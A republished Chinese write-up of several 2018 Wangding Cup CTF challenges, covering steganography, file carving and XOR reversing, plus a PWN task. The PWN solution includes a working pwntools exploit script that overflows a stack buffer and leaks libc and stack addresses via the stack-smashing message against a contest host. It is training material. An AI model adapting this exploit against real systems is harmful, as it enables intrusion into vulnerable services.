【2018年 网鼎杯CTF】 部分WriteUp

admin 2021年5月15日07:36:21评论63 views字数 2686阅读8分57秒阅读模式

更多全球网络安全资讯尽在邑安全

一、 Misc

  1. 题目:签到

【2018年 网鼎杯CTF】 部分WriteUp


解答:
(1) 提示让关注公众号,关注后在公众号里边输入“青龙之站”之后如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp


(2) 回复1f5f2e进入下一关,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp
(3) 回复4c361b进入下一关,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp
(4) 回复7642a4进入下一关,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp
(5) 回复aac333得flag,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp
(6) Flag:*flag{hello_wangdingbei}

  1. 题目:clip

【2018年 网鼎杯CTF】 部分WriteUp


解答:
(1) 下载题目是.disk文件,第一反应是linux虚拟磁盘,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp
(2) (题目提示词频是损坏的,那么linux挂载肯定没用)使用winHex打开文件,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp

(3) 在winhex中的第196280行发现了png的文件头,如图下所示;

【2018年 网鼎杯CTF】 部分WriteUp

备注:png 16进制文件头以89504E47开头的
(4) 进行手动查找发现了俩个IHDR的png图片字样另存在如下图所示;
① 第一张图片:

【2018年 网鼎杯CTF】 部分WriteUp
备注:需要填充png尾
② 第二张图片:

【2018年 网鼎杯CTF】 部分WriteUp
备注:需要填充png头和尾
③ 使用PS对俩张图片进行拼接,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp
(5) Flag:flag{0b008070-eb72-4b99-abed-092075d72a40}

  1. 题目:minified

【2018年 网鼎杯CTF】 部分WriteUp

解答:
(1) Stegsolve打开图片,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp

(2) 打开Stegsolve选择Data Extract查看图片通道,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp

(3) 选择0通告发现是LSB隐写,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp

(4) 分别把alpha,green和blue的0通道另存为再进行异或处理,最终在alpha和green的中发现flag如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp

(5) Flag:flag{7bb6db9f-d2eb-4e69-8dee-0002ce1e07f9}
二、 Reverse

  1. 题目:beijing

【2018年 网鼎杯CTF】 部分WriteUp

解答:
(1) 题目给了我们一个Linux下的可执行程序,放在虚拟机下运行结果如下图所示:

【2018年 网鼎杯CTF】 部分WriteUp

(2) 拖到IDA里面尝试分析下程序的逻辑,经过分析程序主要处理两个函数,主要逻辑如下:(由于长度关系只截取了部分)
① main函数21次调用了encode函数,然后将返回的结果按照字符打印出来如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp

② encode函数按照参数a1的数值做对应的亦或运算,并返回char类型的结果如下图所示:

【2018年 网鼎杯CTF】 部分WriteUp

(3) 查看亦或部分对应的数据段数据和对应的hex数据如下图所示;
数据段数据:

【2018年 网鼎杯CTF】 部分WriteUp

数据段数据hex数据:

【2018年 网鼎杯CTF】 部分WriteUp

这里可以看到这段数据大部分都是可见的字符,因此可以假设flag就在这段数据中,但是顺序是被打乱的,而正确的顺序就是main函数中的顺序,即

encode :
return flag[i]^xor[i]
main :
list[] <- 记录着正确的flag打印顺序
print encode(list[i])

(4) 按照上面的理论,可得到如下的分组:

flag = ['a','g','i','n','b','e','f','j','m','l','{','z','}','_']
xor = ['L','Y','B','','q','4','','','','','',''] #不可见字符没有打印出来
list = [6,9,0,1,0xa,0,8,0,0xb,2,3,1,0xd,4,5,2,7,2,3,1,0xc]

(5) 最后运算脚本:

result = ''
for i in range(0,21):
result += flag[list[i]]
print result

(6) Flag:flag{amazing_beijing}

  1. 题目:advanced

【2018年 网鼎杯CTF】 部分WriteUp

解答:
(1) 把题目放入linux kali中试运行一下,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp

(2) 把得到的数值进行ASCII转换,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp

(3) 解密得到内容使用脚本运行得到flag,如下图所示;

【2018年 网鼎杯CTF】 部分WriteUp

(4) Flag:flag{d_with_a_template_phew}
(5) 脚本如下:

tup = 'K@LKVHr[DXEsLsYI@tmpMYIrEIZQ'
flag = ""
for i in range(len(tup)):
if i % 2 == 0:
flag += chr(ord(tup[i])^0x2D)
else:
flag += chr(ord(tup[i])^0x2C)
print flag

三、 PWN

  1. 题目:GUESS

【2018年 网鼎杯CTF】 部分WriteUp

解答:
(1) 这题就是简单的stack smash加强版。所以把flag读到栈上面了,所以要leak三次
(2) 第一次leak出puts的地址,减去偏移,得到libc基址
(3) 第二次用environ leak出栈地址
(4) 第三次leak出flag
(5) 因此得flag:
flag{936dd5d1-457a-413d-ae5d-bbd55136e524}
(6) 脚本如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level='debug'
libc = ELF('./libc-2.23.so')

p = remote('106.75.90.160', 9999)

payload = 'a'* 296 + p64(0x602020)*3
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(' ')[:-1]+'x00x00')
libc_base = puts_addr - libc.symbols['puts']
environ_addr = libc_base + libc.symbols['_environ']
payload = 'a'*296 + p64(environ_addr)*3
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'x00x00')
p.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(stack_addr-0x168)*3
p.sendline(payload)

p.interactive()

原文来自: 先知社区

原文链接: https://xz.aliyun.com/t/2611

欢迎收藏并分享朋友圈,让五邑人网络更安全

【2018年 网鼎杯CTF】 部分WriteUp

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



本文始发于微信公众号(邑安全):【2018年 网鼎杯CTF】 部分WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月15日07:36:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【2018年 网鼎杯CTF】 部分WriteUphttps://cn-sec.com/archives/272939.html

发表评论

匿名网友 填写信息